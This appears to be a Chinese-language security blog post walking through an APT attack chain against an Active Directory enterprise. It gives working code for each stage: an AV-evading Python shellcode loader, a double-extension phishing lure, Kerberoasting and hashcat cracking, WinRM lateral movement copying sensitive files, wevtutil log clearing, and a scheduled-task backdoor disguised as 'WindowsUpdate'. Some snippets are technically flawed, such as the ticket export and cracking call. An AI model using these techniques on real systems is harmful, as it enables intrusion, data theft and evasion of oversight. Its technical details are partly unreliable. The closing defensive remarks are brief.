一、架构下的潜藏危机

现代企业的 IT 系统架构正在向复杂化发展,涵盖了 Web 应用、云服务、内网域环境、移动端与 IoT 等多种场景。这种复杂性为高级持续性威胁(APT)攻击创造了极为广阔的攻击面。APT 攻击者的核心策略是“深入潜伏”,以隐蔽的方式持续渗透目标网络,逐步实现数据窃取、系统控制甚至供应链攻击。

今天我们要分析的是一个真实的 APT 攻击案例——从初始漏洞利用到最终的数据窃取,我们会覆盖完整的攻击链,并提供实战代码与技巧。这场攻击的目标是一家使用 Active Directory(AD)域环境的大型企业,攻击者利用了 AD 环境的权限误配置实施了精准打击。

---

黑客示意图

二、钓鱼邮件的开端

攻击的第一步,攻击者通过社会工程学构造了一封高度伪造的钓鱼邮件,邮件包含一个伪装成 PDF 的恶意附件。实际的文件名为 invoice_2023.pdf.exe,通过双扩展名诱导用户误认为这是普通的 PDF 文件。

构造恶意载荷

为了实现免杀,并规避常见的杀软与 EDR,攻击者使用 Python 编写了一个简单的载荷加载器,将最终的恶意代码内存加载运行。

黑客示意图

<pre><code class="language-python">import base64 import ctypes

Base64编码的恶意shellcode,这里可以替换成你的真实payload

shellcode_b64 = &quot;TWFsaWNpb3VzU2hlbGxDb2RlSGVyZQ==&quot; shellcode = base64.b64decode(shellcode_b64)

def execute_shellcode(shellcode):

在内存中分配空间用于加载shellcode

shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

将shellcode写入分配的内存

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(shellcode_ptr), shellcode, ctypes.c_int(len(shellcode)))

创建线程并执行代码

thread_handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(shellcode_ptr), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))

等待线程完成

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_handle), ctypes.c_int(-1))

execute_shellcode(shellcode)</code></pre>

这段代码通过 Windows API 动态加载 shellcode,避免了直接落地文件的检测。攻击者使用 PyInstaller 打包成 EXE 文件,并通过邮件发送给目标用户。

社工技术的关键

邮件内容以目标公司的真实供应商信息作为伪装,同时使用非公开的业务流程细节提升可信度。例如:“您在 2023 年 10 月提交的发票有问题,请核对附件并尽快回复。”这种邮件极具说服力,目标用户的点击率非常高。

---

三、权限提升:从普通用户到域管理员

当目标用户运行恶意载荷后,攻击者获得了初始权限,通常是一个普通用户账户。接下来,攻击者会在内网环境中寻找权限提升的机会。

利用权限误配置进行提升

在该案例中,攻击者发现目标 Active Directory 环境存在权限误配置:域用户组中的所有用户都可以读取域控制器中的敏感配置文件。攻击者利用了 BloodHound 工具对域环境进行分析,发现了一个“Kerberoasting”攻击的机会。

Kerberoasting 的实施过程

攻击者通过 PowerShell 请求了域控制器中的服务票据(Service Ticket),并对其进行了离线破解。以下是完整的 PowerShell 实现代码:

<pre><code class="language-powershell"># 请求服务票据 Add-Type -AssemblyName System.IdentityModel $domain = &quot;target.local&quot; $spn = &quot;HTTP/targetserver.target.local&quot; $krbRequest = [System.IdentityModel.Tokens.KerberosRequestorSecurityToken]::new($spn)

保存票据到文件

$krbRequest.GetKerberosTicket() | Out-File -FilePath &quot;C:\temp\ticket.kirbi&quot; -Encoding Byte

使用 Hashcat 或其他工具离线破解

Invoke-Expression &quot;hashcat -m 13100 ticket.kirbi password_dictionary.txt --force&quot;</code></pre>

通过离线破解,攻击者成功得到了域管理员的密码,完成了权限提升。

---

四、横向移动与数据窃取

掌握域管理员权限后,攻击者可以轻松横向移动到域内的其他主机。攻击者发现目标网络中存在多个文件服务器,存储了敏感的客户数据与财务报表。

横向移动的实战代码

以下是利用 PowerShell 进行横向移动的代码示例:

<pre><code class="language-powershell"># 目标主机列表 $targets = @(&quot;192.168.1.101&quot;, &quot;192.168.1.102&quot;, &quot;192.168.1.103&quot;)

使用WinRM远程执行命令

foreach ($target in $targets) { Invoke-Command -ComputerName $target -ScriptBlock {

远程执行命令下载敏感文件

$sensitiveFiles = Get-ChildItem &quot;C:\SensitiveData\*.xls&quot; foreach ($file in $sensitiveFiles) { Copy-Item $file.FullName &quot;C:\temp\stolen_data\&quot; -Force } } }</code></pre>

攻击者成功将敏感数据转移到 C2 服务器,并通过 HTTPS 隧道加密传输,避免流量分析。

---

五、免杀与对抗的艺术

在整个攻击链中,免杀与对抗技术是关键所在。攻击者采用了以下几种技巧来规避检测:

  1. 动态加载代码:避免直接落地恶意文件,减少静态检测的可能性。
  2. 流量伪装:通过 HTTPS 隧道加密流量,伪装为普通的 Web 请求。
  3. 基于时间的隐藏行为:在夜间时段执行横向移动与数据窃取,降低被人工监控发现的可能性。
  4. 自定义 C2 通信协议:使用随机化的请求头与数据包格式,规避流量特征检测。

---

六、痕迹清除与后门维持

攻击者在完成数据窃取后,会清除攻击痕迹并植入后门,以便后续访问。

痕迹清除代码

以下是利用 PowerShell 清除系统日志的代码:

<pre><code class="language-powershell"># 清除Windows事件日志 wevtutil.exe cl Application wevtutil.exe cl Security wevtutil.exe cl System

删除临时文件

Remove-Item -Path &quot;C:\temp\&quot; -Recurse -Force</code></pre>

后门植入代码

攻击者使用了一个简单的后门,利用计划任务维持访问。

<pre><code class="language-powershell">$payload = &quot;powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\backdoor.ps1&quot; $taskName = &quot;WindowsUpdate&quot; $trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute $payload) -Trigger $trigger -TaskName $taskName</code></pre>

这段后门代码会在系统启动时自动执行,确保攻击者的访问权限。

---

七、个人经验与反思

从攻击者的角度来看,这个案例充分体现了 APT 攻击的核心特点:隐蔽性与持续性。通过细致的信息收集与漏洞利用,攻击者可以逐步深入目标网络,直至完全控制。

黑客示意图

对于防御者来说,强化内网权限管理与日志监控至关重要。特别是针对域环境的权限配置,需要定期审计与修复,避免权限误配置成为攻击者的突破口。

如果你是一名红队成员,这个案例可以为你提供丰富的实战经验;如果你是防御者,这则警示可以帮助你更好地理解攻击者思维,强化网络安全防御体系。